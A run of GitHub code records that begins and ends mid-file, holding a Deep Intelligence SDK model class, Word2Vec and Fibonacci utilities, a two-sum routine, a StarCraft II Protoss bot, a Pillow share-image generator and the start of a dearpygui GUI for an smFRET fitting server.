None and not isinstance(other, Model):\n return False\n else:\n return self.info == other.info\n\n @classmethod\n def build(cls, organization_id: str, workspace_id: str, model_id: str, credentials: Credentials = None) -> 'Model':\n \"\"\"Builds a model.\n\n Note: when model is created, the model's information and features are retrieved from API.\n\n Args:\n organization_id: organization where model is located.\n workspace_id: workspace where model is located.\n model_id: model's id.\n credentials: credentials to authenticate with Deep Intelligence API and be allowed to perform operations over the model. If\n not provided, the credentials are generated with the :obj:`deepint.auth.credentials.Credentials.build`.\n\n Returns:\n the model build with the given parameters and credentials.\n \"\"\"\n\n credentials = credentials if credentials is not None else Credentials.build()\n info = ModelInfo(model_id=model_id, name=None, description=None, model_type=None, method=None, created=None,\n last_modified=None,\n last_access=None, source_train=None, configuration=None, size_bytes=None)\n model = cls(organization_id=organization_id, workspace_id=workspace_id, credentials=credentials, info=info,\n input_features=None, output_features=None)\n model.load()\n return model\n\n @classmethod\n def from_url(cls, url: str, organization_id: str = None, credentials: Credentials = None) -> 'Model':\n \"\"\"Builds a model from it's API or web associated URL.\n\n The url must contain the workspace's id and the model's id as in the following examples:\n\n Example:\n - https://app.deepint.net/o/3a874c05-26d1-4b8c-894d-caf90e40078b/workspace?ws=f0e2095f-fe2b-479e-be4b-bbc77207f42d&s=model&i=db98f976-f4bb-43d5-830e-bc18a3a89641\n - https://app.deepint.net/api/v1/workspace/f0e2095f-fe2b-479e-be4b-bbc77207f42/models/db98f976-f4bb-43d5-830e-bc18a3a89641\n\n Note: when model is created, the model's information and features are retrieved from API.\n Also it is remmarkable that if the API URL is providen, the organization_id must be provided in the optional parameter, otherwise\n this ID won't be found on the URL and the Organization will not be created, raising a value error.\n\n Args:\n url: the model's API or web associated URL.\n organization_id: the id of the organziation. Must be providen if the API URL is used.\n credentials: credentials to authenticate with Deep Intelligence API and be allowed to perform operations over the model. If\n not provided, the credentials are generated with the :obj:`deepint.auth.credentials.Credentials.build`.\n\n Returns:\n the model build with the URL and credentials.\n \"\"\"\n\n url_info, hostname = parse_url(url)\n\n if 'organization_id' not in url_info and organization_id is None:\n raise ValueError(\n 'Fields organization_id must be in url to build the object. Or providen as optional parameter.')\n\n if 'workspace_id' not in url_info or 'model_id' not in url_info:\n raise ValueError(\n 'Fields workspace_id and model_id must be in url to build the object.')\n\n organization_id = url_info['organization_id'] if 'organization_id' in url_info else organization_id\n\n # create new credentials\n new_credentials = Credentials(\n token=credentials.token, instance=hostname)\n\n return cls.build(organization_id=organization_id, workspace_id=url_info['workspace_id'], model_id=url_info['model_id'],\n credentials=new_credentials)\n\n def load(self):\n \"\"\"Loads the model's information.\n\n If the model's information is already loaded, is replace by the new one after retrieval.\n \"\"\"\n\n # request\n path = f'/api/v1/workspace/{self.workspace_id}/models/{self.info.model_id}'\n headers = {'x-deepint-organization': self.organization_id}\n response = handle_request(\n method='GET', path=path, headers=headers, credentials=self.credentials)\n\n # map results\n self.info = ModelInfo.from_dict(response)\n self.input_features = [ModelFeature.from_dict(\n f, index=i) for i, f in enumerate(response['inputs'])]\n self.output_features = ModelFeature.from_dict(response['output'])\n\n def update(self, name: str = None, description: str = None):\n \"\"\"Updates a model's name and description.\n\n Args:\n name: model's name. If not provided the model's name stored in the :obj:`deepint.core.model.Model.model_info` attribute is taken.\n descrpition: model's description. If not provided the model's description stored in the :obj:`deepint.core.model.Model.model_info` attribute is taken.\n \"\"\"\n\n # check parameters\n name = name if name is not None else self.info.name\n description = description if description is not None else self.info.description\n\n # request\n path = f'/api/v1/workspace/{self.workspace_id}/models/{self.info.model_id}'\n headers = {'x-deepint-organization': self.organization_id}\n parameters = {'name': name, 'description': description}\n _ = handle_request(method='POST', path=path, headers=headers,\n parameters=parameters, credentials=self.credentials)\n\n # update local state\n self.info.name = name\n self.info.description = description\n\n def delete(self):\n \"\"\"Deletes a model.\n \"\"\"\n\n # request\n path = f'/api/v1/workspace/{self.workspace_id}/models/{self.info.model_id}'\n headers = {'x-deepint-organization': self.organization_id}\n handle_request(method='DELETE', path=path,\n headers=headers, credentials=self.credentials)\n\n def to_dict(self) -> Dict[str, Any]:\n \"\"\"Builds a dictionary containing the information stored in current object.\n\n Returns:\n dictionary contining the information stored in the current object.\n \"\"\"\n\n return {\"info\": self.info, \"input_features\": [x.to_dict() for x in self.input_features],\n \"output_features\": self.output_features.to_dict()}\n","repo_name":"deepintdev/deepint-python-sdk","sub_path":"deepint/core/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":30397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"35604731252","text":"from gensim.models import Word2Vec\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport pickle\nimport numpy as np\nimport os\nimport warnings\nfrom string import punctuation\nfrom nltk.corpus import stopwords\n\ndef train_word2vec(data_dirs, n_feature, model_path, sg):\n # make dictionary\n print(\"Making document list...\")\n documents = []\n \n # train_documents = [os.path.join(data_dir, f) for f in os.listdir(data_dir)]\n\n train_documents = []\n for data_dir in data_dirs:\n for f in os.listdir(data_dir):\n train_documents.append(os.path.join(data_dir, f))\n\n print(train_documents)\n\n for doc in train_documents:\n doc_content = []\n with open(doc) as d:\n for line in d:\n words = line.split()\n for word in words:\n doc_content.append(word)\n documents.append(doc_content)\n\n print(\"Training Word2Vec model...\")\n model_word2vec = Word2Vec(\n documents, size=n_feature, window=5, min_count=5, sg=sg)\n model_word2vec.train(documents, total_examples=len(documents), epochs=10)\n model_word2vec.save(model_path)\n print(\"Training complete!!!\")\n\n\ndef extract_word2vec(model_path, word, n_feature=100):\n trained_model = Word2Vec.load(model_path)\n # words = list(trained_model.wv.vocab)\n # print words\n\n # extract train matrix to csv\n #print(\"Extracting Word2Vec of word \"+word)\n try:\n word_vec = trained_model.wv[word].reshape(n_feature)\n return word_vec\n except:\n word_vec = np.zeros((n_feature))\n return word_vec","repo_name":"miamor/HAN_sec","sub_path":"utils/word2vec.py","file_name":"word2vec.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14006575997","text":"import matplotlib.pyplot as plt\nimport time\n\n# recursive\n\n\ndef fib1(n):\n if n == 0:\n return 0\n elif n == 1:\n return 1\n\n return fib1(n-1) + fib1(n-2)\n\n\n# iterative\ndef fib2(n):\n nums = [0, 1]\n if n == 0:\n return 0\n\n for i in range(2, n+1):\n nums.append(nums[i-1] + nums[i-2])\n\n return nums[n]\n\n\nif __name__ == '__main__':\n fib1Vals = []\n fib2Vals = []\n nVals = []\n for i in range(0, 12):\n n = int(input(\"Enter a number: \"))\n nVals.append(n)\n start_time = time.time()\n fib1val = fib1(n)\n fib1Vals.append(time.time() - start_time)\n\n start_time = time.time()\n fib2val = fib2(n)\n fib2Vals.append(time.time() - start_time)\n\n print(\"Fib1:\")\n print(\"---------------------\")\n for j in range(0, 12):\n print(\"%d %lf\" % (nVals[j], fib1Vals[j]))\n print(\"---------------------\")\n\n print(\"Fib2:\")\n print(\"---------------------\")\n for j in range(0, 12):\n print(\"%d %lf\" % (nVals[j], fib2Vals[j]))\n print(\"---------------------\")\n\n plt.plot(nVals, fib1Vals)\n plt.xlabel('n')\n plt.ylabel('time')\n plt.title('Fib1')\n plt.show()\n\n plt.plot(nVals, fib2Vals)\n plt.xlabel('n')\n plt.ylabel('time')\n plt.title('Fib2')\n plt.show()\n","repo_name":"Anooj-Pai/Intro-to-Algorithims","sub_path":"Labs/Lab 1/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10060579955","text":"def two_sum(N, lst):\n for i in range(N):\n for j in range(i+1, N):\n if lst[i] + lst[j] == x:\n return ' '.join(map(str, (lst[i], lst[j])))\n else:\n return None\n\n\ndef two_sum_2_point(X, lst):\n low = 0\n high = len(lst) - 1\n while low < high:\n summ = lst[low] + lst[high]\n if summ == X:\n l1, l2 = str(lst[low]), str(lst[high])\n return ' '.join((l1, l2))\n elif summ > X:\n high -= 1\n else:\n low += 1\n else:\n return None\n\n\nif __name__ == '__main__':\n n = 6\n lst = [1, 3, 5, 6, 8, 9]\n x = 11\n print(two_sum(n, lst))\n print(two_sum_2_point(x, lst))\n","repo_name":"Legyan/learn_python","sub_path":"algorithms/two_sum.py","file_name":"two_sum.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5402360755","text":"import sc2\r\nfrom sc2.bot_ai import BotAI\r\nimport sc2.game_info\r\nfrom sc2.player import Bot, Computer\r\nfrom sc2.unit import Unit\r\nfrom sc2 import units\r\nfrom sc2.ids.unit_typeid import UnitTypeId\r\nfrom sc2.ids.ability_id import AbilityId\r\nfrom sc2.ids.upgrade_id import UpgradeId\r\nimport numpy as np\r\n\r\nFULL_SATURATION = 22\r\n\r\nDESIRED_ARCHON_RATIO = 0.25\r\nDESIRED_IMMORTAL_RATIO = 0.25\r\nDESIRED_ZEALOT_RATIO = 0.4\r\nDESIRED_STALKER_RATIO = 0.1\r\nMAX_PROBES = 70\r\n\r\nclass Shloompy(sc2.BotAI):\r\n\r\n def __init__(self):\r\n super(Shloompy)\r\n self.army_gather_point = None\r\n self.rally_updated = False\r\n\r\n\r\n async def on_step(self, iteration: int):\r\n '''\r\n A step is when the agent makes a decision. The plan is to follow a certain build order, expand when needed and\r\n get a large chunk of zealots, archons and immortals and attack the enemy main base.\r\n :param iteration:\r\n :return:\r\n '''\r\n if iteration == 0:\r\n self.army_gather_point = self.main_base_ramp.protoss_wall_pylon\r\n\r\n await self.distribute_workers()\r\n await self.build_probes()\r\n await self.build_pylons()\r\n await self.build_assimilators()\r\n await self.follow_build()\r\n await self.train_army()\r\n await self.research()\r\n await self.move_army()\r\n\r\n\r\n ###########ACTIONS###########\r\n\r\n\r\n\r\n async def build_probes(self):\r\n '''\r\n Builds probes until full saturation or until 70 probes are working.\r\n :return:\r\n '''\r\n for nexus in self.townhalls.ready:\r\n if self.workers.amount < self.townhalls.amount * FULL_SATURATION and self.workers.amount < MAX_PROBES and nexus.is_idle:\r\n # if nexus.is_idle:\r\n if self.can_afford(UnitTypeId.PROBE):\r\n nexus.train(UnitTypeId.PROBE)\r\n\r\n async def build_pylons(self):\r\n '''\r\n Builds pylons near the agent's nexii\r\n :return:\r\n '''\r\n\r\n #Build 1 pylon if we're under 60 supply\r\n if self.supply_used <= 60 and self.supply_left < 3:\r\n\r\n if self.already_pending(UnitTypeId.PYLON) == 0 and self.can_afford(UnitTypeId.PYLON):\r\n\r\n for nexus in self.townhalls:\r\n\r\n await self.build(UnitTypeId.PYLON, near= nexus.position.towards(self.game_info.map_center, np.random.choice(10)))\r\n\r\n #If we're over 60 supply we can build 2 pylons at the same time\r\n elif self.supply_used > 60 and self.supply_left < 7:\r\n\r\n if self.already_pending(UnitTypeId.PYLON) < 2 and self.can_afford(UnitTypeId.PYLON):\r\n\r\n for nexus in self.townhalls:\r\n\r\n await self.build(UnitTypeId.PYLON, near= nexus.position.towards(self.game_info.map_center, np.random.choice(10)))\r\n\r\n async def build_assimilators(self):\r\n '''\r\n Builds assimilators. First one is built right after gateway. Second one is when starting the CyberCore\r\n :return:\r\n '''\r\n\r\n if (self.structures(UnitTypeId.GATEWAY).amount == 1 and not self.gas_buildings) or \\\r\n (self.structures(UnitTypeId.GATEWAY).amount == 2):\r\n for nexus in self.townhalls.ready:\r\n geyser = self.vespene_geyser.closer_than(15,nexus).random\r\n\r\n if self.can_afford(UnitTypeId.ASSIMILATOR):\r\n worker = self.select_build_worker(geyser.position)\r\n if worker is None:\r\n break\r\n if not self.gas_buildings or not self.gas_buildings.closer_than(1, geyser):\r\n worker.build(UnitTypeId.ASSIMILATOR, geyser)\r\n worker.stop(queue=True)\r\n\r\n\r\n\r\n async def follow_build(self):\r\n '''\r\n Follows a scripted build order:\r\n\r\n Pylon\r\n Gateway\r\n Cybernetics Core\r\n Gateway\r\n Expansion at Natural\r\n Robotics Facility\r\n Twilight Council\r\n Forge\r\n Gateway x2\r\n Templar Archives\r\n Gateway x12\r\n :return:\r\n '''\r\n\r\n STEP = 4\r\n\r\n if self.structures(UnitTypeId.PYLON).ready:\r\n pylon = self.structures(UnitTypeId.PYLON).ready.random\r\n\r\n #build cybernetics core if first gate is completed\r\n if self.already_pending(UnitTypeId.GATEWAY) == 1 and not self.structures(UnitTypeId.CYBERNETICSCORE):\r\n if self.can_afford(UnitTypeId.CYBERNETICSCORE) and not self.already_pending(UnitTypeId.CYBERNETICSCORE):\r\n await self.build(UnitTypeId.CYBERNETICSCORE, near= pylon.position.towards(self.game_info.map_center, np.random.choice(3)),placement_step= STEP)\r\n\r\n else:\r\n\r\n #build gateways up to 2\r\n if (self.can_afford(UnitTypeId.GATEWAY) and\r\n self.structures(UnitTypeId.GATEWAY).amount + self.already_pending(UnitTypeId.GATEWAY) < 2):\r\n\r\n await self.build(UnitTypeId.GATEWAY, near=pylon.position.towards(self.game_info.map_center, np.random.choice(3)),placement_step= STEP)\r\n # await self.set_rally_points()\r\n\r\n\r\n\r\n #expand\r\n if (self.can_afford(UnitTypeId.NEXUS)\r\n and self.structures(UnitTypeId.CYBERNETICSCORE)\r\n and self.workers.amount > self.townhalls.amount * FULL_SATURATION - 6\r\n and self.structures(UnitTypeId.NEXUS).amount < 4):\r\n\r\n #Set army_gather_point to the natural ramp in order to defend the base\r\n first_nexus = self.townhalls.first\r\n natural_ramp = sorted(self.game_info.map_ramps, key= lambda ramp: ramp.top_center.distance_to(first_nexus))\r\n self.army_gather_point = natural_ramp[1].top_center\r\n await self.expand_now()\r\n\r\n\r\n #build robo facility\r\n elif (self.can_afford(UnitTypeId.ROBOTICSFACILITY)\r\n and self.structures(UnitTypeId.WARPGATE).amount + self.structures(UnitTypeId.GATEWAY).amount < 3\r\n and not self.structures(UnitTypeId.ROBOTICSFACILITY)\r\n and not self.already_pending(UnitTypeId.ROBOTICSFACILITY)\r\n and self.structures(UnitTypeId.NEXUS).amount > 1):\r\n\r\n await self.build(UnitTypeId.ROBOTICSFACILITY, near= pylon.position.towards(self.game_info.map_center, np.random.choice(3)),placement_step= STEP)\r\n #todo set robo rally point?\r\n\r\n\r\n #build twilight council\r\n elif (self.can_afford(UnitTypeId.TWILIGHTCOUNCIL)\r\n and self.structures(UnitTypeId.ROBOTICSFACILITY).ready\r\n and not self.structures(UnitTypeId.TWILIGHTCOUNCIL)\r\n and not self.already_pending(UnitTypeId.TWILIGHTCOUNCIL)):\r\n\r\n await self.build(UnitTypeId.TWILIGHTCOUNCIL,near= pylon.position.towards(self.game_info.map_center, np.random.choice(3)),placement_step= STEP)\r\n\r\n #build forge\r\n elif (self.can_afford(UnitTypeId.FORGE)\r\n and (self.structures(UnitTypeId.TWILIGHTCOUNCIL).ready or self.already_pending(UnitTypeId.TWILIGHTCOUNCIL))\r\n and self.structures(UnitTypeId.FORGE).amount < 2\r\n and self.already_pending(UnitTypeId.FORGE) < 2):\r\n\r\n await self.build(UnitTypeId.FORGE, near= pylon.position.towards(self.game_info.map_center, np.random.choice(3)),placement_step= STEP)\r\n\r\n #add 2 more gates\r\n elif (self.can_afford(UnitTypeId.GATEWAY) and\r\n self.structures(UnitTypeId.WARPGATE).amount + self.structures(UnitTypeId.GATEWAY).amount < 4\r\n and self.structures(UnitTypeId.FORGE).ready):\r\n\r\n await self.build(UnitTypeId.GATEWAY, near=pylon.position.towards(self.game_info.map_center, np.random.choice(3)),placement_step= STEP)\r\n\r\n\r\n #build templar archives\r\n elif (self.can_afford(UnitTypeId.TEMPLARARCHIVE)\r\n and self.structures(UnitTypeId.TWILIGHTCOUNCIL).ready\r\n and not self.structures(UnitTypeId.TEMPLARARCHIVE)\r\n and not self.already_pending(UnitTypeId.TEMPLARARCHIVE)):\r\n\r\n await self.build(UnitTypeId.TEMPLARARCHIVE,\r\n near=pylon.position.towards(self.game_info.map_center, np.random.choice(3)),placement_step= STEP)\r\n\r\n #go to 12 gates\r\n elif (self.structures(UnitTypeId.TEMPLARARCHIVE).ready\r\n and self.can_afford(UnitTypeId.GATEWAY)\r\n and self.structures(UnitTypeId.WARPGATE).amount + self.structures(UnitTypeId.GATEWAY).amount < 12\r\n and self.structures(UnitTypeId.NEXUS).amount > 2):\r\n\r\n await self.build(UnitTypeId.GATEWAY, near=pylon.position.towards(self.game_info.map_center, np.random.choice(3)),placement_step= STEP)\r\n\r\n\r\n # async def set_rally_points(self):\r\n #\r\n #\r\n # if self.structures(UnitTypeId.NEXUS).amount == 2:\r\n # self.army_gather_point = self.structures(UnitTypeId.NEXUS)[1].position.towards(self.game_info.map_center, 10)\r\n #\r\n #\r\n # for gw in self.structures(UnitTypeId.GATEWAY):\r\n # gw(AbilityId.SMART, self.army_gather_point)\r\n #\r\n #\r\n # for rf in self.structures(UnitTypeId.ROBOTICSFACILITY):\r\n # rf(AbilityId.SMART, self.army_gather_point)\r\n\r\n async def build_starter_units(self):\r\n '''\r\n Builds units until Warpgate research is done\r\n :return:\r\n '''\r\n for gw in self.structures(UnitTypeId.GATEWAY).ready.idle:\r\n\r\n if self.can_afford(UnitTypeId.SENTRY) and (self.units(UnitTypeId.STALKER).amount > 1 or self.already_pending(UnitTypeId.STALKER)) and self.units(UnitTypeId.SENTRY).amount == 0:\r\n gw.train(UnitTypeId.SENTRY)\r\n\r\n elif self.can_afford(UnitTypeId.STALKER):\r\n\r\n gw.train(UnitTypeId.STALKER)\r\n\r\n async def research(self):\r\n '''\r\n\r\n :return:\r\n '''\r\n await self.warpgate_research()\r\n await self.twilight_research()\r\n await self.forge_research()\r\n\r\n async def warpgate_research(self):\r\n '''\r\n\r\n :return:\r\n '''\r\n if self.already_pending_upgrade(UpgradeId.WARPGATERESEARCH) > 0:\r\n return\r\n else:\r\n if self.can_afford(AbilityId.RESEARCH_WARPGATE):\r\n ccs = self.structures(UnitTypeId.CYBERNETICSCORE).ready\r\n for cc in ccs:\r\n cc.research(UpgradeId.WARPGATERESEARCH)\r\n\r\n async def twilight_research(self):\r\n '''\r\n\r\n :return:\r\n '''\r\n tcs = self.structures(UnitTypeId.TWILIGHTCOUNCIL).ready\r\n for tc in tcs:\r\n if self.can_afford(AbilityId.RESEARCH_CHARGE) and not self.already_pending_upgrade(UpgradeId.CHARGE):\r\n tc.research(UpgradeId.CHARGE)\r\n\r\n elif self.already_pending_upgrade(UpgradeId.CHARGE) == 1 and self.can_afford(AbilityId.RESEARCH_BLINK):\r\n tc.research(UpgradeId.BLINKTECH)\r\n\r\n async def forge_research(self):\r\n '''\r\n Upgrades ground weapons first, then ground armor.\r\n :return:\r\n '''\r\n forges = self.structures(UnitTypeId.FORGE).ready\r\n if not forges:\r\n return\r\n w1 = self.already_pending_upgrade(UpgradeId.PROTOSSGROUNDWEAPONSLEVEL1)\r\n w2 = self.already_pending_upgrade(UpgradeId.PROTOSSGROUNDWEAPONSLEVEL2)\r\n w3 = self.already_pending_upgrade(UpgradeId.PROTOSSGROUNDWEAPONSLEVEL3)\r\n\r\n a1 = self.already_pending_upgrade(UpgradeId.PROTOSSGROUNDARMORSLEVEL1)\r\n a2 = self.already_pending_upgrade(UpgradeId.PROTOSSGROUNDARMORSLEVEL2)\r\n a3 = self.already_pending_upgrade(UpgradeId.PROTOSSGROUNDARMORSLEVEL3)\r\n\r\n for forge in forges:\r\n if forge.is_idle:\r\n if not w1:\r\n if self.can_afford(AbilityId.FORGERESEARCH_PROTOSSGROUNDWEAPONSLEVEL1):\r\n forge.research(UpgradeId.PROTOSSGROUNDWEAPONSLEVEL1)\r\n else:\r\n return\r\n\r\n elif not w2:\r\n if self.can_afford(AbilityId.FORGERESEARCH_PROTOSSGROUNDWEAPONSLEVEL2):\r\n forge.research(UpgradeId.PROTOSSGROUNDWEAPONSLEVEL2)\r\n else:\r\n return #TODO break instead of return? (case where cant afford w2 but can upgrade a1)\r\n\r\n elif not w3:\r\n if self.can_afford(AbilityId.FORGERESEARCH_PROTOSSGROUNDWEAPONSLEVEL3):\r\n forge.research(UpgradeId.PROTOSSGROUNDWEAPONSLEVEL3)\r\n else:\r\n return\r\n\r\n if not a1:\r\n if self.can_afford(AbilityId.FORGERESEARCH_PROTOSSGROUNDARMORLEVEL1):\r\n forge.research(UpgradeId.PROTOSSGROUNDARMORSLEVEL1)\r\n else:\r\n return\r\n\r\n elif not a2:\r\n if self.can_afford(AbilityId.FORGERESEARCH_PROTOSSGROUNDARMORLEVEL2):\r\n forge.research(UpgradeId.PROTOSSGROUNDARMORSLEVEL2)\r\n else:\r\n return # TODO break instead of return? (case where cant afford w2 but can upgrade a1)\r\n\r\n elif not a3:\r\n if self.can_afford(AbilityId.FORGERESEARCH_PROTOSSGROUNDARMORLEVEL3):\r\n forge.research(UpgradeId.PROTOSSGROUNDARMORSLEVEL3)\r\n else:\r\n return\r\n\r\n async def select_warp_in_pylon(self):\r\n \"\"\"\r\n selects the outermost nexus and finds a pylon closest to it\r\n :return: the selected pylon Unit ID\r\n \"\"\"\r\n last_nexus = self.townhalls[-1]\r\n pylons = sorted(self.structures(UnitTypeId.PYLON).ready, key= lambda py: py.distance_to(last_nexus))\r\n if pylons:\r\n return pylons[0]\r\n\r\n return None\r\n\r\n async def warp_in_unit(self, AID, UID):\r\n \"\"\"\r\n\r\n :param AID: Ability ID of warping in the unit (for warpgate)\r\n :param UID: Unit ID (for warp in command)\r\n :return:\r\n \"\"\"\r\n\r\n for warpgate in self.structures(UnitTypeId.WARPGATE).ready:\r\n abilities = await self.get_available_abilities(warpgate)\r\n\r\n if AID in abilities:\r\n pylon = await self.select_warp_in_pylon()\r\n if pylon is None:\r\n return\r\n pos = pylon.position.random_on_distance(4)\r\n placement = await self.find_placement(AID, pos, placement_step= 1)\r\n if placement is None:\r\n print(\"Can't find warp in placement\")\r\n return\r\n warpgate.warp_in(UID, placement)\r\n\r\n async def evaluate_army_composition(self):\r\n '''\r\n Evaluates how much of each unit we have in the army. The agent builds units according to a predetermined\r\n army composition ( A ratio of Immortals, Archons, Zealots, Stalkers)\r\n :return:\r\n '''\r\n army = self.units.not_structure.exclude_type(UnitTypeId.PROBE)\r\n army_size = army.amount\r\n archon_size = army(UnitTypeId.ARCHON).ready.amount\r\n immortal_size = army(UnitTypeId.IMMORTAL).amount\r\n zealot_size = army(UnitTypeId.ZEALOT).amount\r\n stalker_size = army(UnitTypeId.STALKER).amount\r\n\r\n archon_ratio = 0 if archon_size == 0 else archon_size / army_size\r\n immortal_ratio = 0 if immortal_size == 0 else immortal_size / army_size\r\n zealot_ratio = 0 if zealot_size == 0 else zealot_size / army_size\r\n stalker_ratio = 0 if stalker_size == 0 else stalker_size / army_size\r\n # print(\"army size \" + str(army_size) + \", archons \" + str(archon_size) + \", immorties \" + str(immortal_size) + \", zealotbois \" + str(zealot_size) + \", stalkers \" + str(stalker_size))\r\n return [archon_ratio, stalker_ratio, zealot_ratio, immortal_ratio]\r\n\r\n\r\n async def train_army(self):\r\n '''\r\n Trains units according to the predetermined ratio. Prioritizes Immortals and Archons.\r\n :return:\r\n '''\r\n\r\n if self.structures(UnitTypeId.GATEWAY).ready.idle:\r\n await self.build_starter_units()\r\n\r\n templars = self.units(UnitTypeId.HIGHTEMPLAR)\r\n for ht in templars:\r\n ht(AbilityId.MORPH_ARCHON)\r\n\r\n archon_ratio, stalker_ratio, zealot_ratio, immortal_ratio = await self.evaluate_army_composition()\r\n\r\n if self.can_afford(UnitTypeId.OBSERVER) and self.already_pending(UnitTypeId.OBSERVER) == 0 and self.units(UnitTypeId.OBSERVER).amount == 0:\r\n if self.structures(UnitTypeId.ROBOTICSFACILITY).ready.idle:\r\n self.structures(UnitTypeId.ROBOTICSFACILITY).random.train(UnitTypeId.OBSERVER)\r\n\r\n if immortal_ratio < DESIRED_IMMORTAL_RATIO:\r\n if self.structures(UnitTypeId.ROBOTICSFACILITY).ready:\r\n for rf in self.structures(UnitTypeId.ROBOTICSFACILITY).idle:\r\n if self.can_afford(UnitTypeId.IMMORTAL):\r\n rf.train(UnitTypeId.IMMORTAL)\r\n\r\n if archon_ratio < DESIRED_ARCHON_RATIO:\r\n\r\n if self.structures(UnitTypeId.WARPGATE).ready.idle:\r\n if self.can_afford(UnitTypeId.HIGHTEMPLAR):\r\n await self.warp_in_unit(AbilityId.WARPGATETRAIN_HIGHTEMPLAR, UnitTypeId.HIGHTEMPLAR)\r\n\r\n if stalker_ratio < DESIRED_STALKER_RATIO or not self.structures(UnitTypeId.ROBOTICSFACILITY):\r\n if self.can_afford(UnitTypeId.STALKER):\r\n await self.warp_in_unit(AbilityId.WARPGATETRAIN_STALKER, UnitTypeId.STALKER)\r\n\r\n if zealot_ratio < DESIRED_ZEALOT_RATIO:\r\n if self.can_afford(UnitTypeId.ZEALOT) and self.already_pending_upgrade(UpgradeId.CHARGE) == 1:\r\n await self.warp_in_unit(AbilityId.WARPGATETRAIN_ZEALOT, UnitTypeId.ZEALOT)\r\n\r\n\r\n async def move_army(self):\r\n '''\r\n A simple army management function. If army supply < 80 we move all units to the army_gather_point. Otherwise we\r\n attack the enemy position\r\n :return:\r\n '''\r\n army = self.units.not_structure.exclude_type(UnitTypeId.PROBE)\r\n\r\n if self.supply_army > 80:\r\n for unit in army:\r\n if unit.type_id == UnitTypeId.HIGHTEMPLAR:\r\n unit(AbilityId.MORPH_ARCHON)\r\n else:\r\n unit.attack(self.enemy_start_locations[0])\r\n\r\n else:\r\n if int(self.time) % 12 == 0:\r\n\r\n for unit in army:\r\n unit.move(self.army_gather_point)\r\n\r\ndef main():\r\n sc2.run_game(\r\n sc2.maps.get(\"AbyssalReefLE\"),\r\n [Bot(sc2.Race.Protoss, Shloompy()), Computer(sc2.Race.Terran, sc2.Difficulty.Hard)],\r\n realtime=False\r\n )\r\n\r\nmain()\r\n","repo_name":"shookies/SC2_agent","sub_path":"Shloompy_Bot.py","file_name":"Shloompy_Bot.py","file_ext":"py","file_size_in_byte":19084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1980226213","text":"from PIL import ImageFont, Image, ImageDraw, ImageColor\nimport textwrap, os, json\nfrom random import randint\n\nROOT = os.path.abspath(os.path.join(os.path.dirname(__file__),\"..\"))\nJSON_DATA = os.path.join(ROOT,'app','data','facts.json')\n\nfont = ImageFont.truetype(os.path.join(ROOT,'app','static','fonts','PTSans.ttf'),72)\ncolors = ['#3584A2','#4cbde7','#64b278','#77b23e','#e7764c','#f0aa8f','#774ce7','#aa8ff0']\nstrip_color = ImageColor.getrgb('#333')\nbottom=Image.new(\"RGB\", (1600,20),strip_color)\n\nfact_logo = Image.open(os.path.join(ROOT,'app','static','fact-gen-circle-2.png'))\nfact_resize = fact_logo.resize((160, 160), Image.ANTIALIAS)\ncc_logo = Image.open(os.path.join(ROOT,'app','static','cclogo3.png'))\ncc_ratio = 404/float(225)\ncc_resize = cc_logo.resize((int(160*cc_ratio),160), Image.ANTIALIAS)\n\nwith open(JSON_DATA) as data:\n\n\t# delete old images\n\tdirPath = os.path.join(ROOT,'app','static','shareimages')\n\tfileList = os.listdir(dirPath)\n\tfor fileName in fileList:\n\t\tos.remove(dirPath+\"/\"+fileName)\n\n\t# load facts and create new images\n\tfacts = json.load(data)\n\tfor fact in facts:\n\t\tnewColor = colors[randint(0,len(colors)-1)];\n\t\tcolor = ImageColor.getrgb(newColor)\n\t\timg=Image.new(\"RGB\", (1600,900),color)\n\t\timg.paste(fact_resize,(40,60),fact_resize)\n\t\timg.paste(cc_resize,(220,60),cc_resize)\n\t\timg.paste(bottom,(0,880))\n\t\timg.paste(bottom,(0,0))\n\t\tdraw = ImageDraw.Draw(img)\n\t\tmargin = 60\n\t\toffset = 240\n\t\ttext = fact['FactText']\n\t\twrap = textwrap.wrap(text, width=45)\n\n\t\tfor line in wrap:\n\t\t\tdraw.text((margin, offset), line, font=font, fill=\"#fff\")\n\t\t\t#offset += font.getsize(line)[1]\n\t\t\toffset += 106\n\n\t\tpath = os.path.join(ROOT,'app','static','shareimages/%s.png') % fact['ID']\n\n\t\timg.save(path)","repo_name":"melodykramer/curiouscity-facts","sub_path":"scripts/image_creation.py","file_name":"image_creation.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8249532148","text":"import numpy as np\nimport queue\nfrom dearpygui.core import *\nfrom dearpygui.simple import *\n# add_additional_font(\"ui/NotoSansSC-Regular.otf\", 20, glyph_ranges=\"chinese_full\")\nfrom serv_pdaga.msg import paramsServ\nfrom serv_pdaga.opt import opt_toobox\nfrom multiprocessing import Process,Value\nimport time,multiprocessing,threading,sys\nimport time, datetime\n\nclass pServGui:\n\n def __init__(self,mainWinW=1024,mainWinH=760,lPad=2):\n self.logID=\"xSMFRETda conosle\"\n self.lPad=lPad\n self.statesNum=2 \n self.mainWinH=mainWinH\n self.mainWinW=mainWinW\n set_main_window_size(self.mainWinW,self.mainWinH )\n qO = multiprocessing.Queue()\n qN = multiprocessing.Queue()\n self.qD = multiprocessing.Queue()\n self.q=(qO,qN,self.qD)\n self.stopFlag = Value('b', 0)\n self.joined=False\n self.render_counter=0\n self.histNum=0\n self.fitGoodTime=600\n self.tzoffset = time.timezone if (time.localtime().tm_isdst == 0) else time.altzone\n self.bestf=[]\n self.timelist=[] \n\n def get_ke_zero(self):\n ke_zero=[]\n for i in range(self.statesNum):\n for j in range(self.statesNum):\n if i!=j: \n idlable=\"?##rm_\"+str(i)+\"_\"+str(j)\n if get_value(idlable):\n 